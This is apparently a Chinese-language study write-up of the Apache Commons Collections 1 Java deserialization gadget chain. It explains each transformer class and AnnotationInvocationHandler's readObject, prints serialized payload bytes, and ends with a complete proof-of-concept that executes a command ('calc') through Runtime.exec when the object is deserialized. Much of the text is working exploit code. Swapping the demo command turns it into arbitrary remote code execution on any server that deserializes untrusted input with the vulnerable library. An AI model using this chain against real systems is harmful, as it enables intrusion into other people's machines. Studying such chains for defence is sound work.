一个触发命令执行的Demo package org.vulhub.Ser;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap;import java.util.Map;public class CommonCollections1 { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.getRuntime()), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }), }; Transformer transformerChain = new ChainedTransformer (transformers); Map innerMap = new HashMap (); Map outerMap = TransformedMap.decorate(innerMap, null , transformerChain); outerMap.put("test" , "xxxx" ); } }
分析 Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.getRuntime()), new InvokerTransformer ("exec" , new Class []{String.class},new Object []{"calc" }), }; Transformer transformerChain = new ChainedTransformer (transformers);
前面部分定义了一个Transformer
的数组 其中包含两个Transformer
:
1. ConstantTransformer
:返回常量的翻译器, 此处传入了可执行命令的Runtime
对象 也就是无论往翻译器里传入什么,都只会返回Runtime
对象:
public ConstantTransformer (Object constantToReturn) { super (); iConstant = constantToReturn; } public Object transform (Object input) { return iConstant; }
2. InvokerTransformer
: 传入对象,函数名,参数 返回执行结果 所以此处如果传入Runtime
对象、函数exec
、参数命令(演示用calc)
就可以实现命令执行:
public InvokerTransformer (String methodName, Class[] paramTypes, Object[] args) { super (); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; } public Object transform (Object input) { if (input == null ) { return null ; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } }
再用ChainedTransformer
将这两个翻译器连起来 这个翻译器会把输入按顺序通过列表中的翻译器:
public ChainedTransformer (Transformer[] transformers) { super (); iTransformers = transformers; } public Object transform (Object object) { for (int i = 0 ; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; }
此时只要执行一句:
transformerChain.transform("a" );
就可以实现命令执行弹出计算器了
构造序列化数据 但只是我们本地测试的一个效果 想在服务器上反序列化的过程触发这个操作 还需要借助别的东西 想要直接执行上述的transform
方法比较困难 将其转换为别的操作:
Map innerMap = new HashMap ();Map outerMap = TransformedMap.decorate( innerMap, null , transformerChain );
看一下TransformedMap
这个特殊的Map
类:
public static Map decorate (Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap (map, keyTransformer, valueTransformer); } protected TransformedMap (Map map, Transformer keyTransformer, Transformer valueTransformer) { super (map); this .keyTransformer = keyTransformer; this .valueTransformer = valueTransformer; } public Object put (Object key, Object value) { key = transformKey(key); value = transformValue(value); return getMap().put(key, value); } protected Object transformValue (Object object) { if (valueTransformer == null ) { return object; } return valueTransformer.transform(object); }
也就是说这个类可以传入:
而后在添加(put
)新的元素的时候 会先将键值对分别翻译后再添加 此时就触发了翻译操作 触发执行命令的语句从
transformerChain.transform("a" );
转换为了
那么如何在序列化的过程中实现这个添加元素的过程呢 需要进入下一步:
AnnotationInvocationHandler
类位于:
sun.reflect.annotation.AnnotationInvocationHandler
是 Java 标准库中的一个内部类(位于 sun.reflect.annotation 包), 主要用于处理注解(Annotation)的动态代理机制。 它在 Java 的反射和注解处理中扮演重要角色, 但由于是内部 API,开发者通常不会直接使用它。
注解(不是注释): 注解是 Java 中的一种元数据(Metadata)机制,用于为代码(类、方法、字段等)添加额外的结构化信息。这些信息可以被编译器、开发工具或运行时框架(如 Spring、Hibernate)读取,并根据注解的内容执行特定操作。 相当于给编译器看的注释而非给人看的。
看看他的readObject
方法:
private void readObject (ObjectInputStream var1) throws IOException, ClassNotFoundException { var1.defaultReadObject(); Object var2 = null ; try { var10 = AnnotationType.getInstance(this .type); } catch (IllegalArgumentException var9) { throw new InvalidObjectException ("Non-annotation type in annotation serial stream" ); } Map var3 = var10.memberTypes(); for (Map.Entry var5 : this .memberValues.entrySet()) { String var6 = (String)var5.getKey(); Class var7 = (Class)var3.get(var6); if (var7 != null ) { Object var8 = var5.getValue(); if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { var5.setValue((new AnnotationTypeMismatchExceptionProxy (var8.getClass() + "[" + var8 + "]" )).setMember((Method)var10.members().get(var6))); } } } }
可以看到使用一个for循环对this.memberValues
属性进行了一系列的操作 这个属性就是我们的map,看看构造方法:
AnnotationInvocationHandler(Class<? extends Annotation > var1, Map<String, Object> var2) { Class[] var3 = var1.getInterfaces(); if (var1.isAnnotation() && var3.length == 1 && var3[0 ] == Annotation.class) { this .type = var1; this .memberValues = var2; } else { throw new AnnotationFormatError ("Attempt to create proxy for a non-annotation type." ); } }
将我们的outerMap
作为第二个参数传入赋值给memberValues
触发添加元素:
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );Constructor construct = clazz.getDeclaredConstructor(Class.class,Map.class);construct.setAccessible(true ); InvocationHandler handler = (InvocationHandler)construct.newInstance(Retention.class, outerMap);
将handler输出为序列化字符串 就是我们的payload:
ByteArrayOutputStream barr = new ByteArrayOutputStream ();ObjectOutputStream oos = new ObjectOutputStream (barr);oos.writeObject(handler); oos.close(); System.out.println(barr);
iTransformerst -[Lorg/apache/commons/collections/Transformer;xpur -[Lorg.apache.commons.collections.Transformer;�V*��4� xp sr ;org.apache.commons.collections.functors.ConstantTransformerXv�A�� L iConstantt Ljava/lang/Object;xpvr java.lang.Runtime xpsr :org.apache.commons.collections.functors.InvokerTransformer���k{|�8 [ iArgst [Ljava/lang/Object;L iMethodNamet Ljava/lang/String;[ iParamTypest [Ljava/lang/Class;xpur [Ljava.lang.Object;��X�s)l xp t getRuntimeur [Ljava.lang.Class;���Z� xp t getMethoduq ~ vr java.lang.String��8z;�B xpvq ~ sq ~ uq ~ puq ~ t invokeuq ~ vr java.lang.Object xpvq ~ sq ~ ur [Ljava.lang.String;��V��{G xp t calct execuq ~ q ~ sr java.util.HashMap���`� F loadFactorI thresholdxp?@ t valuet xxxxxxvr java.lang.annotation.Retention xp
假如存在某个这样的漏洞点:
ObjectInputStream ois = new ObjectInputStream (newByteArrayInputStream(barr.toByteArray()));Object o = (Object)ois.readObject();
按理说就可以执行我们的恶意代码了 不过还存在最后一个问题 那就是Runtime
类事实上没有实现Serializable
接口 导致无法被序列化怎么办? 在JVM中,每个类加载后都会生成一个唯一的Class
对象, 用来表示该类的类型信息,获取方式:
同样的,使用:
就可以获取到Runtime的Class对象 这个对象可以进行反射调用获取Runtime并执行命令:
Method f = Runtime.class.getMethod("getRuntime" );Runtime r = (Runtime) f.invoke(null );r.exec("calc.exe" );
那么我们就需要换一条翻译链子了:
Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , new Class [0 ]} ), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , new Object [0 ]} ), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc.exe" } ) };
完整poc:
package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Retention;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.util.HashMap;import java.util.Map;public class CommonCollections1 { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] { String.class, Class[].class }, new Object [] { "getRuntime" , new Class [0 ] }), new InvokerTransformer ("invoke" , new Class [] { Object.class, Object[].class }, new Object [] { null , new Object [0 ] }), new InvokerTransformer ("exec" , new Class [] { String.class }, new String [] { "calc" }), }; Transformer transformerChain = new ChainedTransformer (transformers); Map innerMap = new HashMap (); innerMap.put("value" , "xxxx" ); Map outerMap = TransformedMap.decorate(innerMap, null , transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true ); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(handler); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (barr.toByteArray())); Object o = (Object)ois.readObject(); } }
很长很绕,让自己来挖做不到 尤其是注解类,发现不了,审不明白 思路学一辈子